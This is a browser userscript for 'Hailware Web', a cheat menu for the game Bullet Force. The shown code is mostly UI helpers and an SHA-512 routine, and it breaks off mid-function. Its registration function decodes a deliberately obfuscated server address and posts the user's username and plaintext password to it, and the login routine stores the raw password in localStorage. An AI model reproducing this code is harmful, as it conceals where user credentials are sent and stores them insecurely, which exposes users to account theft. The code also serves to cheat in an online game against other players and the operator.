Hailware Web v0.3-Beta

Made by Foonix, Yellowberry, Hackery and Liamriley101

目前為 2024-09-29 提交的版本,檢視 最新版本

// ==UserScript==
// @name         Hailware Web v0.3-Beta
// @version      2024-06-10
// @description  Made by Foonix, Yellowberry, Hackery and Liamriley101
// @author       Foonix
// @grant        GM_info
// @grant        GM_getResourceText
// @grant        GM_getResourceURL
// @match        https://games.crazygames.com/en_US/bullet-force-multiplayer/*
// @match        https://www.multiplayerpiano.dev/*
// @match        http://localhost:48897/game
// @icon         https://github.com/Snoofz/Hailware-BLF-Cheats/blob/main/snowly-icon.png?raw=true
// @grant        unsafeWindow
// @namespace https://gf.qytechs.cn/users/1364648
// ==/UserScript==

class Log {
    static info(message) {
        console.log(`%c${message.toUpperCase()}`, 'font-size: 18px; color: #7289da;');
    }

    static tool(message) {
        console.log(`%c${message.toUpperCase()}`, 'font-size: 18px; color: #FFB6C1;');
    }

    static welcome(message) {
        console.log(`%c${message.toUpperCase()}`, 'font-size: 25px; color: #ff0000;');
    }

    static error(message) {
        console.error(`%c${message.toUpperCase()}`, 'font-size: 18px; color: #dc3545;');
    }

    static success(message) {
        console.log(`%c${message.toUpperCase()}`, 'font-size: 18px; color: #28a745;');
    }
}

let loopBuyButton = null;
let loopOpenButton = null;
let openRate = 250;
let buyRate = 250;
let loginStatus = null;
let creditBuyCaseLoop = false;
let creditOpenCaseLoop = false;

let tmpInterval = null;
let tmpInterval2 = null;

let _049932x39B2388x3992A = atob;

class UIManager {
    constructor() {
        this.UIContext = null;
        this.UIMenus = [];
        this.tabs = [];
        this.notificationStack = [];
        this.notificationHeight = 100;
        this.notificationMargin = 10;
    }

    getAllTabs() {
        return this.tabs;
    }

    createNotification(titleText, descriptionText) {
        const notificationContainer = document.createElement('div');
        notificationContainer.className = 'notification-popup';
        notificationContainer.style.position = 'fixed';
        notificationContainer.style.left = '10px';
        notificationContainer.style.bottom = this.calculateNotificationBottom() + 'px';
        notificationContainer.style.transform = 'translateY(100%)';
        notificationContainer.style.backgroundColor = '#0e0e0e';
        notificationContainer.style.color = '#ffffff';
        notificationContainer.style.width = '300px';
        notificationContainer.style.padding = '20px';
        notificationContainer.style.borderRadius = '8px';
        notificationContainer.style.boxShadow = '0 4px 8px rgba(0, 0, 0, 0.5)';
        notificationContainer.style.zIndex = '9999';
        notificationContainer.style.transition = 'transform 0.3s ease-in-out';

        const title = document.createElement('h2');
        title.textContent = titleText;
        title.style.fontSize = '22px';
        title.style.textAlign = 'center';
        title.style.marginBottom = '10px';
        title.classList.add('rainbow-animation');

        const description = document.createElement('p');
        description.textContent = descriptionText;
        description.style.fontSize = '16px';
        description.style.textAlign = 'center';
        description.classList.add('rainbow-animation');

        notificationContainer.appendChild(title);
        notificationContainer.appendChild(description);

        document.body.appendChild(notificationContainer);

        setTimeout(() => {
            notificationContainer.style.transform = 'translateY(0)';
        }, 50);

        setTimeout(() => {
            notificationContainer.style.transform = 'translateY(100%)';
            setTimeout(() => {
                this.removeNotification(notificationContainer);
                document.body.removeChild(notificationContainer);
            }, 300);
        }, 5000);

        this.makeDraggable(notificationContainer);

        this.notificationStack.push(notificationContainer);
    }

    calculateNotificationBottom() {
        let totalHeight = this.notificationMargin;
        this.notificationStack.forEach(notification => {
            totalHeight += notification.offsetHeight + this.notificationMargin;
        });
        return totalHeight;
    }

    removeNotification(notification) {
        const index = this.notificationStack.indexOf(notification);
        if (index !== -1) {
            this.notificationStack.splice(index, 1);
        }
        this.repositionNotifications();
    }

    repositionNotifications() {
        let totalHeight = this.notificationMargin;
        this.notificationStack.forEach(notification => {
            notification.style.bottom = totalHeight + 'px';
            totalHeight += notification.offsetHeight + this.notificationMargin;
        });
    }

createMenu(elementId, titleText, width = '300px', height = 'auto') {
    const container = document.createElement('div');
    container.id = elementId;
    container.style.position = 'fixed';
    container.style.backgroundColor = '#0e0e0e';
    container.style.borderRadius = '8px';
    container.style.padding = '20px';
    container.style.boxShadow = '0 4px 8px rgba(0, 0, 0, 0.5)';
    container.style.zIndex = '9999';
    container.style.width = width;
    container.style.height = height;

    container.style.top = `calc(50% - (${height} / 2))`;
    container.style.left = `calc(50% - (${width} / 2))`;

    container.style.userSelect = 'none';

    container.style.overflowY = 'auto';
    container.className = 'custom-scrollbar';

    const title = document.createElement('h2');
    title.textContent = titleText;
    title.style.color = '#ffffff';
    title.style.marginBottom = '20px';
    title.style.fontSize = '22px';
    title.style.textAlign = 'center';
    title.style.marginTop = '0px';
    title.classList.add('rainbow-animation');

    container.appendChild(title);

    document.body.appendChild(container);

    this.UIContext = container;

    // Automatically focus on the first input field if it exists
    const firstInput = container.querySelector('input');
    if (firstInput) {
        firstInput.focus();
    }

    return container;
}

    makeDraggable(element) {
        let offsetX, offsetY;

        function handleMouseDown(event) {
            event.preventDefault();
            const boundingRect = element.getBoundingClientRect();
            offsetX = event.clientX - boundingRect.left;
            offsetY = event.clientY - boundingRect.top;

            console.log(`x: ${event.clientX}, y: ${event.clientY}, Offsetx: ${offsetX}, Offsety: ${offsetY}`)

            document.addEventListener('mousemove', handleMouseMove);
            document.addEventListener('mouseup', handleMouseUp);
        }

        function handleMouseMove(event) {
            moveElement(event.clientX, event.clientY);
        }

        function moveElement(clientX, clientY) {
            element.style.left = clientX - offsetX + 'px';
            element.style.top = clientY - offsetY + 'px';
        }

        function handleMouseUp() {
            cleanupListeners();
        }

        function handleTouchEnd() {
            cleanupListeners();
        }

        function cleanupListeners() {
            document.removeEventListener('mousemove', handleMouseMove);
            document.removeEventListener('mouseup', handleMouseUp);
        }

        const titleBar = element.querySelector('h2');
        titleBar.addEventListener('mousedown', handleMouseDown);

        element.style.position = 'absolute';
        titleBar.style.cursor = 'move';
        titleBar.style.userSelect = 'none';
    }

    addButton(buttonText, buttonAction) {
        const button = document.createElement('button');
        button.style.width = '100%';
        button.style.padding = '10px';
        button.style.backgroundColor = '#1c1c1c';
        button.style.color = '#ffffff';
        button.style.border = 'none';
        button.style.borderRadius = '5px';
        button.style.cursor = 'pointer';
        button.style.marginBottom = '10px';
        button.style.fontWeight = 'bold';
        button.style.fontSize = '16px';
        button.addEventListener('click', buttonAction);
        button.classList.add('rainbow-animation');

        const buttonTextSpan = document.createElement('span');
        buttonTextSpan.textContent = buttonText;
        button.appendChild(buttonTextSpan);

        this.UIContext.appendChild(button);

        return button;
    }

    addLabel(labelText) {
        const label = document.createElement('h3');
        label.textContent = labelText;
        label.style.color = '#ffffff';
        label.style.marginBottom = '20px';
        label.style.fontSize = '18px';
        label.style.textAlign = 'center';
        label.classList.add('rainbow-animation');

        this.UIContext.appendChild(label);

        return label;
    }

    addSpacer(height) {
        const spacer = document.createElement('div');
        spacer.style.width = '100%';
        spacer.style.height = `${height}px`;
        spacer.style.marginBottom = `${height}px`;

        this.UIContext.appendChild(spacer);

        return spacer;
    }

    addTextInput(placeholderText, valueChangeAction) {
        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = placeholderText;
        input.style.width = 'calc(100% - 1px)';
        input.style.padding = '10px';
        input.style.marginBottom = '20px';
        input.style.borderRadius = '5px';
        input.addEventListener('input', valueChangeAction);
        input.style.backgroundColor = '#0e0e0e';
        input.classList.add('rainbow-animation');
        input.focus();

        this.UIContext.appendChild(input);
        input.focus();

        return input;
    }

    addSlider(min, max, step, currentValue, customText, valueChangeAction) {
        let textBubble = undefined;
        let hideTimeout = null;

        const sliderContainer = document.createElement('div');
        sliderContainer.style.width = 'calc(100% - 1px)';
        sliderContainer.style.marginBottom = '20px';
        sliderContainer.style.position = 'relative';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = min;
        slider.max = max;
        slider.value = currentValue;
        slider.step = step;
        slider.style.width = '100%';
        slider.style.borderRadius = '5px';

        const showBubble = () => {
            clearTimeout(hideTimeout);
            textBubble.style.opacity = 1;
            hideTimeout = setTimeout(() => {
                textBubble.style.opacity = 0;
            }, 3000);
        };

        slider.addEventListener('input', () => {
            valueChangeAction(slider.value);
            textBubble.textContent = `${customText}: ${slider.value}`;
            const sliderWidth = slider.offsetWidth;
            const bubbleWidth = textBubble.offsetWidth;
            const sliderValue = slider.value;
            const newPosition = (sliderValue / (max - min)) * sliderWidth;
            const adjustedPosition = Math.min(Math.max(newPosition, bubbleWidth / 2), sliderWidth - bubbleWidth / 2);
            textBubble.style.left = `${adjustedPosition}px`;
            showBubble();
        });

        slider.addEventListener('mousedown', showBubble);
        slider.addEventListener('touchstart', showBubble);

        slider.classList.add('rainbow-animation');

        const bubble = document.createElement('div');
        bubble.style.position = 'absolute';
        bubble.style.top = 'calc(100% + 10px)';
        bubble.style.left = '50%';
        bubble.style.transform = 'translateX(-50%)';
        bubble.style.backgroundColor = '#f0f0f0';
        bubble.style.padding = '5px 10px';
        bubble.style.borderRadius = '5px';
        bubble.style.backgroundColor = '#181818';
        bubble.style.whiteSpace = 'nowrap';
        bubble.style.minWidth = '100px';
        bubble.style.transition = 'opacity 0.5s';
        bubble.style.opacity = 0;
        bubble.textContent = `${customText}: ${currentValue}`;
        textBubble = bubble;

        sliderContainer.appendChild(bubble);
        sliderContainer.appendChild(slider);

        this.contentContainer.appendChild(sliderContainer);

        return slider;
    }

    addLogo() {
        const logo = document.createElement('img');
        logo.src = 'https://github.com/Snoofz/Hailware-Assets/blob/main/snowly-icon.png?raw=true';
        logo.className = 'logo';
        logo.alt = 'Logo';
        logo.style.marginLeft = '35%';
        logo.classList.add('hue-shift-animation');

        this.UIContext.insertBefore(logo, this.UIContext.firstChild);

        return logo;
    }

    createTabMenu(tabs) {
        const tabContainer = document.createElement('div');
        tabContainer.style.display = 'flex';
        tabContainer.style.borderBottom = '1px solid #cc0000';
        tabContainer.style.marginBottom = '20px';
        tabContainer.classList.add('rainbow-animation')

        const contentContainers = tabs.map(() => document.createElement('div'));

        tabs.forEach((tab, index) => {
            const tabButton = document.createElement('button');
            tabButton.textContent = tab.title;
            tabButton.style.flex = '1';
            tabButton.style.padding = '10px';
            tabButton.style.backgroundColor = '#1c1c1c';
            tabButton.style.color = '#ffffff';
            tabButton.style.border = 'none';
            tabButton.style.cursor = 'pointer';
            tabButton.style.fontWeight = 'bold';
            tabButton.style.fontSize = '16px';
            tabButton.classList.add('rainbow-animation');

            tabButton.addEventListener('click', () => {
                contentContainers.forEach((container, idx) => {
                    if (idx !== index) {
                        container.style.display = 'none';
                    }
                });
                contentContainers[index].style.display = 'block';
            });

            this.tabs.push(tabButton);
            tabContainer.appendChild(tabButton);

            const uiTab = new UITab(tab.title, contentContainers[index], document.createElement('div'));
            uiTab.content.innerHTML = tab.content;
            tab.uiTab = uiTab;
        });

        this.UIContext.appendChild(tabContainer);

        contentContainers.forEach(container => {
            container.style.display = 'none';
            this.UIContext.appendChild(container);
        });

        if (contentContainers.length > 0) {
            contentContainers[0].style.display = 'block';
        }

        return {
            UITabs: tabs,
            Containers: contentContainers
        };
    }

    addTabsToTabMenu(existingTabs, newTabs) {
        const contentContainers = newTabs.map(() => document.createElement('div'));

        newTabs.forEach((tab, index) => {
            const tabButton = document.createElement('button');
            tabButton.textContent = tab.title;
            tabButton.style.flex = '1';
            tabButton.style.padding = '10px';
            tabButton.style.backgroundColor = '#1c1c1c';
            tabButton.style.color = '#ffffff';
            tabButton.style.border = 'none';
            tabButton.style.cursor = 'pointer';
            tabButton.style.fontWeight = 'bold';
            tabButton.style.fontSize = '16px';
            tabButton.classList.add('rainbow-animation');

            tabButton.addEventListener('click', () => {
                contentContainers.forEach((container, idx) => {
                    if (idx !== index) {
                        container.style.display = 'none';
                    }
                });
                contentContainers[index].style.display = 'block';
            });

            existingTabs.push(tabButton);
            const uiTab = new UITab(tab.title, contentContainers[index], document.createElement('div'));
            uiTab.content.innerHTML = tab.content;
            tab.uiTab = uiTab;
        });

        existingTabs.forEach(tab => {
            this.UIContext.appendChild(tab);
        });

        contentContainers.forEach(container => {
            container.style.display = 'none';
            this.UIContext.appendChild(container);
        });

        if (contentContainers.length > 0) {
            contentContainers[0].style.display = 'block';
        }
    }

    showTabContent(index, tabs, contentContainer) {
        contentContainer.innerHTML = '';

        const content = document.createElement('div');
        content.innerHTML = tabs[index].content;
        content.style.color = '#ffffff';
        content.style.fontSize = '16px';
        contentContainer.appendChild(content);

        this.activeTabContent = content;
    }
}

class UITab {
    constructor(title, contentContainer, content) {
        this.title = title;
        this.contentContainer = contentContainer;
        this.content = content;
        this.isHidden = true;
    }

    static getContentContainer() {
        return this.contentContainer;
    }

    addButton(buttonText, buttonAction) {
        const button = document.createElement('button');
        button.style.width = '100%';
        button.style.padding = '10px';
        button.style.backgroundColor = '#1c1c1c';
        button.style.color = '#ffffff';
        button.style.border = 'none';
        button.style.borderRadius = '5px';
        button.style.cursor = 'pointer';
        button.style.marginBottom = '10px';
        button.style.fontWeight = 'bold';
        button.style.fontSize = '16px';
        button.addEventListener('click', buttonAction);
        button.classList.add('rainbow-animation');

        const buttonTextSpan = document.createElement('span');
        buttonTextSpan.textContent = buttonText;
        button.appendChild(buttonTextSpan);

        this.contentContainer.appendChild(button);

        return button;
    }

    addLabel(labelText) {
        const label = document.createElement('h3');
        label.innerHTML = labelText;
        label.style.color = '#ffffff';
        label.style.marginBottom = '20px';
        label.style.fontSize = '18px';
        label.style.textAlign = 'center';
        label.classList.add('rainbow-animation');

        this.contentContainer.appendChild(label);

        return label;
    }

    addTextInput(placeholderText, valueChangeAction) {
        const input = document.createElement('input');
        input.type = 'text';
        input.placeholder = placeholderText;
        input.style.width = 'calc(100% - 1px)';
        input.style.padding = '10px';
        input.style.marginBottom = '20px';
        input.style.borderRadius = '5px';
        input.addEventListener('input', valueChangeAction);
        input.style.backgroundColor = '#0e0e0e';
        input.classList.add('rainbow-animation');
        input.focus();
        this.contentContainer.appendChild(input);
        input.focus();
        return input;
    }

    addSpacer(height) {
        const spacer = document.createElement('div');
        spacer.style.width = '100%';
        spacer.style.height = `${height}px`;
        spacer.style.marginBottom = `${height}px`;

        this.contentContainer.appendChild(spacer);

        return spacer;
    }

    addSlider(min, max, step, currentValue, customText, valueChangeAction) {
        let textBubble = undefined;
        let hideTimeout = null;

        const sliderContainer = document.createElement('div');
        sliderContainer.style.width = 'calc(100% - 1px)';
        sliderContainer.style.marginBottom = '20px';
        sliderContainer.style.position = 'relative';

        const slider = document.createElement('input');
        slider.type = 'range';
        slider.min = min;
        slider.max = max;
        slider.value = currentValue;
        slider.step = step;
        slider.style.width = '100%';
        slider.style.borderRadius = '5px';

        const showBubble = () => {
            clearTimeout(hideTimeout);
            textBubble.style.opacity = 1;
            hideTimeout = setTimeout(() => {
                textBubble.style.opacity = 0;
            }, 3000);
        };

        slider.addEventListener('input', () => {
            valueChangeAction(slider.value);
            textBubble.textContent = `${customText}: ${slider.value}`;
            const sliderWidth = slider.offsetWidth;
            const bubbleWidth = textBubble.offsetWidth;
            const sliderValue = slider.value;
            const newPosition = (sliderValue / (max - min)) * sliderWidth;
            const adjustedPosition = Math.min(Math.max(newPosition, bubbleWidth / 2), sliderWidth - bubbleWidth / 2);
            textBubble.style.left = `${adjustedPosition}px`;
            showBubble();
        });

        slider.addEventListener('mousedown', showBubble);
        slider.addEventListener('touchstart', showBubble);

        slider.classList.add('rainbow-animation');

        const bubble = document.createElement('div');
        bubble.style.position = 'absolute';
        bubble.style.top = 'calc(100% + 10px)';
        bubble.style.left = '50%';
        bubble.style.transform = 'translateX(-50%)';
        bubble.style.backgroundColor = '#f0f0f0';
        bubble.style.padding = '5px 10px';
        bubble.style.borderRadius = '5px';
        bubble.style.backgroundColor = '#181818';
        bubble.style.whiteSpace = 'nowrap';
        bubble.style.minWidth = '100px';
        bubble.style.transition = 'opacity 0.5s';
        bubble.style.opacity = 0;
        bubble.textContent = `${customText}: ${currentValue}`;
        textBubble = bubble;

        sliderContainer.appendChild(bubble);
        sliderContainer.appendChild(slider);

        this.contentContainer.appendChild(sliderContainer);

        return slider;
    }

    showContent() {
        const allTabs = this.contentContainer.parentElement.querySelectorAll('.tab-content');
        allTabs.forEach(tab => {
            tab.style.display = 'none';
        });

        if (this.isHidden) {
            this.contentContainer.style.display = 'block';
            this.isHidden = false;
        }
    }
}

let _0x399859299B = "zr9zLy5zbWg6aGhycM61Lc6/ec6/dy4vzrVyY2twcGPOsc61cnTPhc6xdG58MSwzMCwyNywzLDIzLDAsMTIsMjksMTcsMzQsMTUsNCwxMSwyMiw5LDE5LDI1LDE4LDEzLDI4LDE2LDEwLDIsOCw1LDMxLDI2LDIxLDE0LDI0LDMyLDcsNiwzMywyMA=="
let _0x88492D2994 = "4pGl4pGg4pGiL+KRoOKRoeKRpuKRpOKRpi4uaOKRqC/ikaHikah0OnDikaDikaDikaXikacudDp8MCwxMSw2LDIwLDcsMTMsMSw1LDIsMTIsMTYsMjUsMTgsMTksMTQsMTcsMjQsNCwyMiwxMCwxNSw5LDMsOCwyMywyMQ==";

function _0x88492D2993(_0x99500038856) {
    const decoded = decodeURIComponent(escape(atob(_0x99500038856)));
    const [randomized, positionsString] = decoded.split('|');
    const randomizedPositions = positionsString.split(',').map(Number);
    const array = randomized.split('');
    const originalArray = [];
    randomizedPositions.forEach((pos, index) => {
        originalArray[pos] = array[index];
    });
    const derandomized = originalArray.join('');
    const unicodeMap = {
        '\u03b1': 'a',
        '\u03b5': 'e',
        '\u03b9': 'i',
        '\u03bf': 'o',
        '\u03c5': 'u',
        '\u0391': 'A',
        '\u0395': 'E',
        '\u0399': 'I',
        '\u039f': 'O',
        '\u03a5': 'U',
        '\u24EA': '0',
        '\u2460': '1',
        '\u2461': '2',
        '\u2462': '3',
        '\u2463': '4',
        '\u2464': '5',
        '\u2465': '6',
        '\u2466': '7',
        '\u2467': '8',
        '\u2468': '9'
    };
    const unicodeReversed = derandomized.split('').map(char => unicodeMap[char] || char).join('');
    const original = unicodeReversed.split('').reverse().join('');
    return original;
}

async function HailwareRegister(username, password) {
    try {
        const response = await fetch(_0x88492D2993(_0x399859299B) + "/" + _0x88492D2993(_0x88492D2994) + '/register', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify({
                username,
                password
            })
        });
        const data = await response.json();
        if (!response.ok) {
            throw new Error(data.error);
        }
        console.log('Registration successful:', data);
        localStorage.setItem('blfUsername', username);
        localStorage.setItem('blfPasswordRaw', password);
    } catch (error) {
        console.error('Error during registration:', error);
        throw error;
    }
}

async function HailwareLogin(username, password) {
    try {
        const response = await fetch("https://server.blayzegames.com/OnlineAccountSystem//login.php?&requiredForMobile=882503852", {
            method: "POST",
            headers: {
                "accept": "*/*",
                "accept-language": "en-US,en;q=0.9",
                "content-type": "application/x-www-form-urlencoded",
                "sec-ch-ua": "\"Opera GX\";v=\"109\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"",
                "sec-ch-ua-mobile": "?0",
                "sec-ch-ua-platform": "\"Windows\"",
                "sec-fetch-dest": "empty",
                "sec-fetch-mode": "cors",
                "sec-fetch-site": "cross-site",
                "Referer": "https://games.crazygames.com/",
            },
            body: `username=${username}&password=${SHA512(password)}&store=BALYZE_WEB&useJSON=true&locale=english&tutorialr=1`
        });

        const res = await response.json();

        if (res.status == 1) {
            Log.error(`[BLF Killer]: Successfully logged into '${username}' (PC User)`);
            localStorage.blfUsername = username;
            localStorage.blfPasswordHash = SHA512(password);
            localStorage.blfPasswordRaw = password;

            Log.info("Set account info successfully!");
        }

    } catch (err) {

    }
}

function waitForUnityInstance(callback) {
    const interval = setInterval(() => {
        const unityInstance = Crazygames.getUnityInstance();
        if (unityInstance && unityInstance.SendMessage) {
            clearInterval(interval);
            setTimeout(() => {
                callback();
            }, 3500);
        }
    }, 1000);
}

class ConfigManager {
    constructor() {
        this.config = {};
    }

    save(config) {
        this.config = config;
        Log.tool(`Config saved: ${JSON.stringify(this.config)}!`);
        localStorage.setItem('hailwareConfig', JSON.stringify(this.config));
    }

    clear() {
        localStorage.removeItem('hailwareConfig');
        Log.tool("Config cleared!");
    }

    get() {
        const configString = localStorage.getItem('hailwareConfig');
        if (configString) {
            this.config = JSON.parse(configString);
            Log.tool(`Config found: ${JSON.stringify(this.config)}!`);
            return this.config;
        }
        return null;
    }
}

function SHA512(str) {
    function int64(msint_32, lsint_32) {
        this.highOrder = msint_32;
        this.lowOrder = lsint_32;
    }

    var H = [new int64(0x6a09e667, 0xf3bcc908), new int64(0xbb67ae85, 0x84caa73b),
        new int64(0x3c6ef372, 0xfe94f82b), new int64(0xa54ff53a, 0x5f1d36f1),
        new int64(0x510e527f, 0xade682d1), new int64(0x9b05688c, 0x2b3e6c1f),
        new int64(0x1f83d9ab, 0xfb41bd6b), new int64(0x5be0cd19, 0x137e2179)
    ];

    var K = [new int64(0x428a2f98, 0xd728ae22), new int64(0x71374491, 0x23ef65cd),
        new int64(0xb5c0fbcf, 0xec4d3b2f), new int64(0xe9b5dba5, 0x8189dbbc),
        new int64(0x3956c25b, 0xf348b538), new int64(0x59f111f1, 0xb605d019),
        new int64(0x923f82a4, 0xaf194f9b), new int64(0xab1c5ed5, 0xda6d8118),
        new int64(0xd807aa98, 0xa3030242), new int64(0x12835b01, 0x45706fbe),
        new int64(0x243185be, 0x4ee4b28c), new int64(0x550c7dc3, 0xd5ffb4e2),
        new int64(0x72be5d74, 0xf27b896f), new int64(0x80deb1fe, 0x3b1696b1),
        new int64(0x9bdc06a7, 0x25c71235), new int64(0xc19bf174, 0xcf692694),
        new int64(0xe49b69c1, 0x9ef14ad2), new int64(0xefbe4786, 0x384f25e3),
        new int64(0x0fc19dc6, 0x8b8cd5b5), new int64(0x240ca1cc, 0x77ac9c65),
        new int64(0x2de92c6f, 0x592b0275), new int64(0x4a7484aa, 0x6ea6e483),
        new int64(0x5cb0a9dc, 0xbd41fbd4), new int64(0x76f988da, 0x831153b5),
        new int64(0x983e5152, 0xee66dfab), new int64(0xa831c66d, 0x2db43210),
        new int64(0xb00327c8, 0x98fb213f), new int64(0xbf597fc7, 0xbeef0ee4),
        new int64(0xc6e00bf3, 0x3da88fc2), new int64(0xd5a79147, 0x930aa725),
        new int64(0x06ca6351, 0xe003826f), new int64(0x14292967, 0x0a0e6e70),
        new int64(0x27b70a85, 0x46d22ffc), new int64(0x2e1b2138, 0x5c26c926),
        new int64(0x4d2c6dfc, 0x5ac42aed), new int64(0x53380d13, 0x9d95b3df),
        new int64(0x650a7354, 0x8baf63de), new int64(0x766a0abb, 0x3c77b2a8),
        new int64(0x81c2c92e, 0x47edaee6), new int64(0x92722c85, 0x1482353b),
        new int64(0xa2bfe8a1, 0x4cf10364), new int64(0xa81a664b, 0xbc423001),
        new int64(0xc24b8b70, 0xd0f89791), new int64(0xc76c51a3, 0x0654be30),
        new int64(0xd192e819, 0xd6ef5218), new int64(0xd6990624, 0x5565a910),
        new int64(0xf40e3585, 0x5771202a), new int64(0x106aa070, 0x32bbd1b8),
        new int64(0x19a4c116, 0xb8d2d0c8), new int64(0x1e376c08, 0x5141ab53),
        new int64(0x2748774c, 0xdf8eeb99), new int64(0x34b0bcb5, 0xe19b48a8),
        new int64(0x391c0cb3, 0xc5c95a63), new int64(0x4ed8aa4a, 0xe3418acb),
        new int64(0x5b9cca4f, 0x7763e373), new int64(0x682e6ff3, 0xd6b2b8a3),
        new int64(0x748f82ee, 0x5defb2fc), new int64(0x78a5636f, 0x43172f60),
        new int64(0x84c87814, 0xa1f0ab72), new int64(0x8cc70208, 0x1a6439ec),
        new int64(0x90befffa, 0x23631e28), new int64(0xa4506ceb, 0xde82bde9),
        new int64(0xbef9a3f7, 0xb2c67915), new int64(0xc67178f2, 0xe372532b),
        new int64(0xca273ece, 0xea26619c), new int64(0xd186b8c7, 0x21c0c207),
        new int64(0xeada7dd6, 0xcde0eb1e), new int64(0xf57d4f7f, 0xee6ed178),
        new int64(0x06f067aa, 0x72176fba), new int64(0x0a637dc5, 0xa2c898a6),
        new int64(0x113f9804, 0xbef90dae), new int64(0x1b710b35, 0x131c471b),
        new int64(0x28db77f5, 0x23047d84), new int64(0x32caab7b, 0x40c72493),
        new int64(0x3c9ebe0a, 0x15c9bebc), new int64(0x431d67c4, 0x9c100d4c),
        new int64(0x4cc5d4be, 0xcb3e42b6), new int64(0x597f299c, 0xfc657e2a),
        new int64(0x5fcb6fab, 0x3ad6faec), new int64(0x6c44198c, 0x4a475817)
    ];

    var W = new Array(64);
    var a, b, c, d, e, f, g, h, i, j;
    var T1, T2;
    var charsize = 8;

    function utf8_encode(str) {
        return unescape(encodeURIComponent(str));
    }

    function str2binb(str) {
        var bin = [];
        var mask = (1 << charsize) - 1;
        var len = str.length * charsize;

        for (var i = 0; i < len; i += charsize) {
            bin[i >> 5] |= (str.charCodeAt(i / charsize) & mask) << (32 - charsize - (i % 32));
        }

        return bin;
    }

    function binb2hex(binarray) {
        var hex_tab = '0123456789abcdef';
        var str = '';
        var length = binarray.length * 4;
        var srcByte;

        for (var i = 0; i < length; i += 1) {
            srcByte = binarray[i >> 2] >> ((3 - (i % 4)) * 8);
            str += hex_tab.charAt((srcByte >> 4) & 0xF) + hex_tab.charAt(srcByte & 0xF);
        }

        return str;
    }

    function safe_add_2(x, y) {
        var lsw, msw, lowOrder, highOrder;

        lsw = (x.lowOrder & 0xFFFF) + (y.lowOrder & 0xFFFF);
        msw = (x.lowOrder >>> 16) + (y.lowOrder >>> 16) + (lsw >>> 16);
        lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        lsw = (x.highOrder & 0xFFFF) + (y.highOrder & 0xFFFF) + (msw >>> 16);
        msw = (x.highOrder >>> 16) + (y.highOrder >>> 16) + (lsw >>> 16);
        highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        return new int64(highOrder, lowOrder);
    }

    function safe_add_4(a, b, c, d) {
        var lsw, msw, lowOrder, highOrder;

        lsw = (a.lowOrder & 0xFFFF) + (b.lowOrder & 0xFFFF) + (c.lowOrder & 0xFFFF) + (d.lowOrder & 0xFFFF);
        msw = (a.lowOrder >>> 16) + (b.lowOrder >>> 16) + (c.lowOrder >>> 16) + (d.lowOrder >>> 16) + (lsw >>> 16);
        lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        lsw = (a.highOrder & 0xFFFF) + (b.highOrder & 0xFFFF) + (c.highOrder & 0xFFFF) + (d.highOrder & 0xFFFF) + (msw >>> 16);
        msw = (a.highOrder >>> 16) + (b.highOrder >>> 16) + (c.highOrder >>> 16) + (d.highOrder >>> 16) + (lsw >>> 16);
        highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        return new int64(highOrder, lowOrder);
    }

    function safe_add_5(a, b, c, d, e) {
        var lsw, msw, lowOrder, highOrder;

        lsw = (a.lowOrder & 0xFFFF) + (b.lowOrder & 0xFFFF) + (c.lowOrder & 0xFFFF) + (d.lowOrder & 0xFFFF) + (e.lowOrder & 0xFFFF);
        msw = (a.lowOrder >>> 16) + (b.lowOrder >>> 16) + (c.lowOrder >>> 16) + (d.lowOrder >>> 16) + (e.lowOrder >>> 16) + (lsw >>> 16);
        lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        lsw = (a.highOrder & 0xFFFF) + (b.highOrder & 0xFFFF) + (c.highOrder & 0xFFFF) + (d.highOrder & 0xFFFF) + (e.highOrder & 0xFFFF) + (msw >>> 16);
        msw = (a.highOrder >>> 16) + (b.highOrder >>> 16) + (c.highOrder >>> 16) + (d.highOrder >>> 16) + (e.highOrder >>> 16) + (lsw >>> 16);
        highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF);

        return new int64(highOrder, lowOrder);
    }

    function maj(x, y, z) {
        return new int64(
            (x.highOrder & y.highOrder) ^ (x.highOrder & z.highOrder) ^ (y.highOrder & z.highOrder),
            (x.lowOrder & y.lowOrder) ^ (x.lowOrder & z.lowOrder) ^ (y.lowOrder & z.lowOrder)
        );
    }

    function ch(x, y, z) {
        return new int64(
            (x.highOrder & y.highOrder) ^ (~x.highOrder & z.highOrder),
            (x.lowOrder & y.lowOrder) ^ (~x.lowOrder & z.lowOrder)
        );
    }

    function rotr(x, n) {
        if (n <= 32) {
            return new int64(
                (x.highOrder >>> n) | (x.lowOrder << (32 - n)),
                (x.lowOrder >>> n) | (x.highOrder << (32 - n))
            );
        } else {
            return new int64(
                (x.lowOrder >>> n) | (x.highOrder << (32 - n)),
                (x.highOrder >>> n) | (x.lowOrder << (32 - n))
            );
        }
    }

    function sigma0(x) {
        var rotr28 = rotr(x, 28);
        var rotr34 = rotr(x, 34);
        var rotr39 = rotr(x, 39);

        return new int64(
            rotr28.highOrder ^ rotr34.highOrder ^ rotr39.highOrder,
            rotr28.lowOrder ^ rotr34.lowOrder ^ rotr39.lowOrder
        );
    }

    function sigma1(x) {
        var rotr14 = rotr(x, 14);
        var rotr18 = rotr(x, 18);
        var rotr41 = rotr(x, 41);

        return new int64(
            rotr14.highOrder ^ rotr18.highOrder ^ rotr41.highOrder,
            rotr14.lowOrder ^ rotr18.lowOrder ^ rotr41.lowOrder
        );
    }

    function gamma0(x) {
        var rotr1 = rotr(x, 1),
            rotr8 = rotr(x, 8),
            shr7 = shr(x, 7);

        return new int64(
            rotr1.highOrder ^ rotr8.highOrder ^ shr7.highOrder,
            rotr1.lowOrder ^ rotr8.lowOrder ^ shr7.lowOrder
        );
    }

    function gamma1(x) {
        var rotr19 = rotr(x, 19);
        var rotr61 = rotr(x, 61);
        var shr6 = shr(x, 6);

        return new int64(
            rotr19.highOrder ^ rotr61.highOrder ^ shr6.highOrder,
            rotr19.lowOrder ^ rotr61.lowOrder ^ shr6.lowOrder
        );
    }

    function shr(x, n) {
        if (n <= 32) {
            return new int64(
                x.highOrder >>> n,
